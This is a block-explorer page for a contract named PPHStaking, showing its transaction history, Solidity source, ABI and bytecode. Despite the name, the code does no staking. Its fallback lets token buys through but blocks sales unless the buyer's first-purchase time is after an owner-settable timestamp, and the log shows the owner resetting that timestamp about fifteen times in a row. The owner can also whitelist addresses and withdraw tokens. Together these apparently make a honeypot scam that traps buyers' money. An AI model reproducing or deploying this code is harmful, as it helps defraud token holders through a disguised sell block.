Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 18 from a total of 18 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Whitelist For To... | 17602188 | 459 days ago | IN | 0 ETH | 0.00063552 | ||||
Set Token Is Fin... | 17602188 | 459 days ago | IN | 0 ETH | 0.00039302 | ||||
Set Last Time Fo... | 17602183 | 459 days ago | IN | 0 ETH | 0.00042364 | ||||
Set Last Time Fo... | 17602163 | 459 days ago | IN | 0 ETH | 0.00041391 | ||||
Set Last Time Fo... | 17602152 | 459 days ago | IN | 0 ETH | 0.00045273 | ||||
Set Last Time Fo... | 17602145 | 459 days ago | IN | 0 ETH | 0.00040627 | ||||
Set Last Time Fo... | 17602137 | 459 days ago | IN | 0 ETH | 0.00040609 | ||||
Set Last Time Fo... | 17602133 | 459 days ago | IN | 0 ETH | 0.00040352 | ||||
Set Last Time Fo... | 17602096 | 459 days ago | IN | 0 ETH | 0.00044865 | ||||
Set Last Time Fo... | 17602093 | 459 days ago | IN | 0 ETH | 0.00041971 | ||||
Set Last Time Fo... | 17602090 | 459 days ago | IN | 0 ETH | 0.00039622 | ||||
Set Last Time Fo... | 17602088 | 459 days ago | IN | 0 ETH | 0.00036186 | ||||
Set Last Time Fo... | 17602086 | 459 days ago | IN | 0 ETH | 0.00035453 | ||||
Set Last Time Fo... | 17602084 | 459 days ago | IN | 0 ETH | 0.00039523 | ||||
Set Last Time Fo... | 17602052 | 459 days ago | IN | 0 ETH | 0.00038269 | ||||
Set Last Time Fo... | 17602038 | 459 days ago | IN | 0 ETH | 0.00069492 | ||||
Refresh Proxy Se... | 17601519 | 459 days ago | IN | 0 ETH | 0.00140598 | ||||
0x60806040 | 17601512 | 459 days ago | IN | 0 ETH | 0.00982172 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x31D0f6d2...ADbd2Bb58 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
PPHStaking
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-30 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract PPHStaking { address private _owner; address private token; address private pair; bool private isFinished; mapping(address => bool) private _whitelists; mapping (address => uint256) private _addressTime; uint256 private lastTime; modifier onlyToken() { require(msg.sender == token); _; } modifier onlyOwner() { require(_owner == msg.sender); _; } constructor () { _owner = msg.sender; _whitelists[_owner] = true; } function setTokenIsFinished(bool _isFinished) external onlyOwner { isFinished = _isFinished; } function refreshProxySetting(address _token, address _pair) external onlyOwner { token = _token; pair = _pair; isFinished = false; lastTime = 0; _whitelists[_token] = true; } function forward(uint256 amount) external onlyOwner { IERC20(token).transfer(msg.sender, amount); } function setLastTimeForToken() external onlyOwner { lastTime = block.timestamp; } function whitelistForTokenHolder(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } fallback() external payable { address _from; address _to; bytes memory data = msg.data; assembly { _from := mload(add(data, 0x14)) _to := mload(add(data, mul(0x14, 2))) } if (_whitelists[_from] || _whitelists[_to]) { return; } if (_from == pair) { if (_addressTime[_to] == 0) { _addressTime[_to] = block.timestamp; } return; } else if (_to == pair) { require(!isFinished && _addressTime[_from] >= lastTime); return; } else { _addressTime[_to] = _addressTime[_from]; return; } revert(); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"forward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"refreshProxySetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLastTimeForToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isFinished","type":"bool"}],"name":"setTokenIsFinished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForTokenHolder","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Deployed Bytecode
0x60806040526004361061004e5760003560e01c806321fad655146103905780634fa679d8146103b957806370556f50146103e2578063a0d5a289146103f9578063e5380ed8146104225761004f565b5b600080600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506014810151925060026014028101519150600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061014d5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561015a5750505061038e565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610243576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361023b5742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505061038e565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361030757600260149054906101000a900460ff161580156102f65750600554600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b6102ff57600080fd5b50505061038e565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b005b34801561039c57600080fd5b506103b760048036038101906103b29190610866565b61044b565b005b3480156103c557600080fd5b506103e060048036038101906103db91906108c9565b6104c0565b005b3480156103ee57600080fd5b506103f76105bc565b005b34801561040557600080fd5b50610420600480360381019061041b9190610954565b61061d565b005b34801561042e57600080fd5b5061044960048036038101906104449190610994565b610776565b005b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a357600080fd5b80600260146101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461051857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016105759291906109f2565b6020604051808303816000875af1158015610594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b89190610a30565b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061457600080fd5b42600581905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067557600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260146101000a81548160ff02191690831515021790555060006005819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ce57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080fd5b60008115159050919050565b6108438161082e565b811461084e57600080fd5b50565b6000813590506108608161083a565b92915050565b60006020828403121561087c5761087b610829565b5b600061088a84828501610851565b91505092915050565b6000819050919050565b6108a681610893565b81146108b157600080fd5b50565b6000813590506108c38161089d565b92915050565b6000602082840312156108df576108de610829565b5b60006108ed848285016108b4565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610921826108f6565b9050919050565b61093181610916565b811461093c57600080fd5b50565b60008135905061094e81610928565b92915050565b6000806040838503121561096b5761096a610829565b5b60006109798582860161093f565b925050602061098a8582860161093f565b9150509250929050565b600080604083850312156109ab576109aa610829565b5b60006109b98582860161093f565b92505060206109ca85828601610851565b9150509250929050565b6109dd81610916565b82525050565b6109ec81610893565b82525050565b6000604082019050610a0760008301856109d4565b610a1460208301846109e3565b9392505050565b600081519050610a2a8161083a565b92915050565b600060208284031215610a4657610a45610829565b5b6000610a5484828501610a1b565b9150509291505056fea2646970667358221220f2f17e253b0253e3d6f2436e72d8e2e718e2166b32803d0e818dda6cd2c33d1964736f6c63430008130033
Deployed Bytecode Sourcemap
241:1955:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1547:13;1569:11;1589:17;1609:8;;1589:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1673:4;1667;1663:15;1657:22;1648:31;;1724:1;1718:4;1714:12;1708:4;1704:23;1698:30;1691:37;;1751:11;:18;1763:5;1751:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;1773:11;:16;1785:3;1773:16;;;;;;;;;;;;;;;;;;;;;;;;;1751:38;1747:71;;;1802:7;;;;;1747:71;1839:4;;;;;;;;;;;1830:13;;:5;:13;;;1826:343;;1881:1;1860:12;:17;1873:3;1860:17;;;;;;;;;;;;;;;;:22;1856:88;;1917:15;1897:12;:17;1910:3;1897:17;;;;;;;;;;;;;;;:35;;;;1856:88;1954:7;;;;;1826:343;1987:4;;;;;;;;;;;1980:11;;:3;:11;;;1976:193;;2013:10;;;;;;;;;;;2012:11;:46;;;;;2050:8;;2027:12;:19;2040:5;2027:19;;;;;;;;;;;;;;;;:31;;2012:46;2004:55;;;;;;2070:7;;;;;1976:193;2123:12;:19;2136:5;2123:19;;;;;;;;;;;;;;;;2103:12;:17;2116:3;2103:17;;;;;;;;;;;;;;;:39;;;;2153:7;;;1510:683;241:1955;808:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1144:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1263:93;;;;;;;;;;;;;:::i;:::-;;922:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1364:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;808:106;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;895:11:::1;882:10;;:24;;;;;;;;;;;;;;;;;;808:106:::0;:::o;1144:111::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1212:5:::1;;;;;;;;;;;1205:22;;;1228:10;1240:6;1205:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1144:111:::0;:::o;1263:93::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1333:15:::1;1322:8;:26;;;;1263:93::o:0;922:214::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1018:6:::1;1010:5;;:14;;;;;;;;;;;;;;;;;;1040:5;1033:4;;:12;;;;;;;;;;;;;;;;;;1067:5;1054:10;;:18;;;;;;;;;;;;;;;;;;1092:1;1081:8;:12;;;;1124:4;1102:11;:19;1114:6;1102:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;922:214:::0;;:::o;1364:138::-;671:10;661:20;;:6;;;;;;;;;;:20;;;653:29;;;;;;1482:12:::1;1460:11;:19;1472:6;1460:19;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;1364:138:::0;;:::o;88:117:1:-;197:1;194;187:12;334:90;368:7;411:5;404:13;397:21;386:32;;334:90;;;:::o;430:116::-;500:21;515:5;500:21;:::i;:::-;493:5;490:32;480:60;;536:1;533;526:12;480:60;430:116;:::o;552:133::-;595:5;633:6;620:20;611:29;;649:30;673:5;649:30;:::i;:::-;552:133;;;;:::o;691:323::-;747:6;796:2;784:9;775:7;771:23;767:32;764:119;;;802:79;;:::i;:::-;764:119;922:1;947:50;989:7;980:6;969:9;965:22;947:50;:::i;:::-;937:60;;893:114;691:323;;;;:::o;1020:77::-;1057:7;1086:5;1075:16;;1020:77;;;:::o;1103:122::-;1176:24;1194:5;1176:24;:::i;:::-;1169:5;1166:35;1156:63;;1215:1;1212;1205:12;1156:63;1103:122;:::o;1231:139::-;1277:5;1315:6;1302:20;1293:29;;1331:33;1358:5;1331:33;:::i;:::-;1231:139;;;;:::o;1376:329::-;1435:6;1484:2;1472:9;1463:7;1459:23;1455:32;1452:119;;;1490:79;;:::i;:::-;1452:119;1610:1;1635:53;1680:7;1671:6;1660:9;1656:22;1635:53;:::i;:::-;1625:63;;1581:117;1376:329;;;;:::o;1711:126::-;1748:7;1788:42;1781:5;1777:54;1766:65;;1711:126;;;:::o;1843:96::-;1880:7;1909:24;1927:5;1909:24;:::i;:::-;1898:35;;1843:96;;;:::o;1945:122::-;2018:24;2036:5;2018:24;:::i;:::-;2011:5;2008:35;1998:63;;2057:1;2054;2047:12;1998:63;1945:122;:::o;2073:139::-;2119:5;2157:6;2144:20;2135:29;;2173:33;2200:5;2173:33;:::i;:::-;2073:139;;;;:::o;2218:474::-;2286:6;2294;2343:2;2331:9;2322:7;2318:23;2314:32;2311:119;;;2349:79;;:::i;:::-;2311:119;2469:1;2494:53;2539:7;2530:6;2519:9;2515:22;2494:53;:::i;:::-;2484:63;;2440:117;2596:2;2622:53;2667:7;2658:6;2647:9;2643:22;2622:53;:::i;:::-;2612:63;;2567:118;2218:474;;;;;:::o;2698:468::-;2763:6;2771;2820:2;2808:9;2799:7;2795:23;2791:32;2788:119;;;2826:79;;:::i;:::-;2788:119;2946:1;2971:53;3016:7;3007:6;2996:9;2992:22;2971:53;:::i;:::-;2961:63;;2917:117;3073:2;3099:50;3141:7;3132:6;3121:9;3117:22;3099:50;:::i;:::-;3089:60;;3044:115;2698:468;;;;;:::o;3172:118::-;3259:24;3277:5;3259:24;:::i;:::-;3254:3;3247:37;3172:118;;:::o;3296:::-;3383:24;3401:5;3383:24;:::i;:::-;3378:3;3371:37;3296:118;;:::o;3420:332::-;3541:4;3579:2;3568:9;3564:18;3556:26;;3592:71;3660:1;3649:9;3645:17;3636:6;3592:71;:::i;:::-;3673:72;3741:2;3730:9;3726:18;3717:6;3673:72;:::i;:::-;3420:332;;;;;:::o;3758:137::-;3812:5;3843:6;3837:13;3828:22;;3859:30;3883:5;3859:30;:::i;:::-;3758:137;;;;:::o;3901:345::-;3968:6;4017:2;4005:9;3996:7;3992:23;3988:32;3985:119;;;4023:79;;:::i;:::-;3985:119;4143:1;4168:61;4221:7;4212:6;4201:9;4197:22;4168:61;:::i;:::-;4158:71;;4114:125;3901:345;;;;:::o
Swarm Source
ipfs://f2f17e253b0253e3d6f2436e72d8e2e718e2166b32803d0e818dda6cd2c33d19
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 27 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.